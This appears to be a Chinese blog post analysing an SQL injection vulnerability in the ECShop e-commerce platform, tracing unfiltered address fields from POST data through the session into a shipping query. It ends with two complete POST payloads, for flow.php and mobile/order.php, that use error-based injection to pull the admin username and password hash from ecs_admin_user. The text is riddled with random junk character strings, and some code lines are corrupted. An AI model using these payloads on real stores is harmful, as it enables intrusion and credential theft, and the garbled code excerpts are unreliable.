ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

    /includes/lib_order.php
8 b+ v" m5 f0 O9 M$ D
    关键函数：

, q& O- n/ [. N* W$ U' t8 K7 L
3 n4 D" T' X8 N7 c2 H2 C6 u8 k, X
+ t) S0 N1 y3 x2 G01     function available_shipping_list($region_id_list)
- ^" f- |8 i1 j4 M8 Q( i! q
4 I3 e5 h% B8 T4 u, d02 {
+ P, S0 K7 @% e) M
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
1 Z5 L( W  n& K( X  u/ o6 P2 a# }
7 I. p8 A- n9 T2 S05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
; U+ D, r0 h' C& U+ j
0 g0 c1 _5 Z# w# ]+ G5 r; R! a3 t! h06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
2 g" J5 U" @% C. r2 d# c5 G: c( d* t
4 G& a& n4 C4 ?5 P07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
9 M' ]8 P7 Q( r) {
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
3 C1 @" O/ H- L# ^, F" t! L
0 u( N3 Y8 k+ p9 y! @6 a09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
( _) B5 T% ~+ A: z, l- A
10   

11     return $GLOBALS['db']->getAll($sql);

- d+ t, N* r- E12 }
, t0 o0 `8 A, X3 n- l
! i4 i9 e) R6 u  a8 I9 D显然对传入的参数没有任何过滤就带入了查询语句。

9 s. p$ m! z' o下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);
1 f, u8 l0 ?0 s% P
/ r( R- Z2 y) \

, R: T1 @% E# A* C
" Z% v; G' _! c, s% x
再对传入变量进行追踪：

# \: ?  q+ E% o) ]& X9 C; m6 x第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
0 J7 r3 o" Y$ _9 {6 q: `

2 t. l3 r1 m5 g* P: t9 {
5 d% T2 b, C% L/ W% {# u8 T1 C- Z
2 A" F* {1 W/ b
第473行：        
7 L% o# r' @- l
1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

& o- }4 y' S7 R/includes/lib_order.php
  D9 l) ^6 P0 @: k$ Z" j5 h

+ @8 o' l* g. E* [
1 K/ K) u4 r0 z- c! f* z* o
# _, i8 X: ^  w
01 function get_consignee($user_id)

* `: K2 ^& ?) W7 H$ Y8 ]# f5 c% F$ _02 {
1 v) o3 W, g* ?; q
8 x" g7 k, K1 g# Q4 o" V7 b- I) Q03     if (isset($_SESSION['flow_consignee']))

2 c( R/ b' ^7 Z! k, b. k& z9 }5 @04     {
# B& G, o2 B: z+ Y+ o
+ i! p  [1 G6 @5 O05         /* 如果存在session，则直接返回session中的收货人信息 */

06   

07         return $_SESSION['flow_consignee'];
, p( X. s4 _; A7 F' p$ A
08     }
; u2 x& Z3 H- l! o- c- _
09     else

10     {
' d% ]8 L% h1 C9 f
, t0 W" l! ~6 H/ y+ X, y  d11         /* 如果不存在，则取得用户的默认收货人信息 */
7 [6 V+ h% {2 t& h6 o
4 T: Z, B, S# M$ s+ |9 i12         $arr = array();
! H) w8 n* `4 r; ?$ {3 R
: _. V" q7 D5 U' j13   
# B7 o& O* R+ @7 w6 I
14         if ($user_id > 0)

15         {

16             /* 取默认地址 */

17             $sql = "SELECT ua.*".
' w2 u; o. S$ l  Q8 {
% q3 m+ T2 U, ^" J18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
! Y  M! X0 y/ e& O" F
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
' f4 T% N3 M1 E1 V. B; ?# ^  d
20   
2 d, S% N, k6 S/ Z! }1 L  y& g7 F
21             $arr = $GLOBALS['db']->getRow($sql);
5 R# L& }7 q* G8 j
% N& d# c3 ^! P1 ~22         }

8 K# _( C' {9 S: Q- p, [23   

, a* S" U7 \, H24         return $arr;
' w5 Y8 D* @: f2 Q7 c" T
, o. Y" t1 l* `( E1 S" T25     }
; M9 n6 v' _  C* P6 S
26 }
, K* ^6 C) m0 ]: @' w
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
7 C- a" s1 O7 C/ a/ r7 [, v) X
, z* H- q4 F& j
2 k3 E( V& `/ o& M8 X" Z. t
  u- f# R$ `& u" P: V关键点:
% m5 z! Z  d  A0 y
第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
& {% l* I" O1 q4 g' }8 f
- V5 S, R0 W8 x; z5 Y2 E; d这里对传入参数反转义存入$_SESSION中。
7 a  L8 j( d0 o. B3 I1 B4 ]

6 J# l. Z4 Q1 C( H) C- Q
然后看下：



   

01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
  w. _' y2 S- m
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
1 j* ~% F. r, S5 @2 s4 S1 h3 t
% x3 g1 @# G: N1 Z# U* _; u! g05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

9 j5 O; X7 D  L1 e8 \+ N- {06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

4 ?( `3 e4 |  U5 M0 x08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

/ h/ M; F3 c" ~& q, O( }10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

& W& s5 a# W' J0 }( S( W0 h5 ~5 k11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

: m! f% q! k; ]# _14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

; R$ b8 P, C- _# g/ j/ g/ ]  o0 b15     );
& Y4 m6 p" L1 Z! k3 G5 g3 g: _
5 J- A" m2 v$ |好了注入就这样出现了。

$ q! n# v+ Z0 q& c==================

注入测试：
$ N- n5 X4 V& X& d8 e
: a7 j9 ^( D+ V# R6 `$ L! I环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
: c4 u' n: F% |* f+ I. F0 C! D
. H( x; }' N' J1 a/ p测试程序：ECShop_V2.7.3_UTF8_release1106
, X$ F' y5 s$ v5 c( c8 A" O# `


* v, ^% k' u# m0 U& x/ w1.首先需要点击一个商品加入购物车

2.注册一个会员帐号

: N. Q# f5 U' N( b9 M3.post提交数据


) q$ K8 d( |8 M" O6 p6 ]  B
1 http://127.0.0.1/ecshop/flow.php

2   
2 {2 C% Z7 |0 ~' u2 k) k6 G
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
) v3 K7 f! z! z6 l, K: N
我们搜寻关键函数function available_shipping_list()
  b7 I8 H) i9 P( ?) `' ]
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
& i( M, Y& S: n& u) z% Z( z
- s0 L* X- G4 j% S( v5 H: u利用exp:
! Z, z8 k% O% o' C
6 x2 g4 w* _5 ~8 ^% \1.点击一个商品，点击购买商标

7 B; t7 L( ~( ]$ T. n& X+ J5 b2.登录会员帐号

3.post提交：

- Q- K1 ~/ R( w7 y* ^http://127.0.0.1/ecshop/mobile/order.php
' R; s+ I+ m, q$ J" X


country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

0 l( l3 W2 @; g. x) w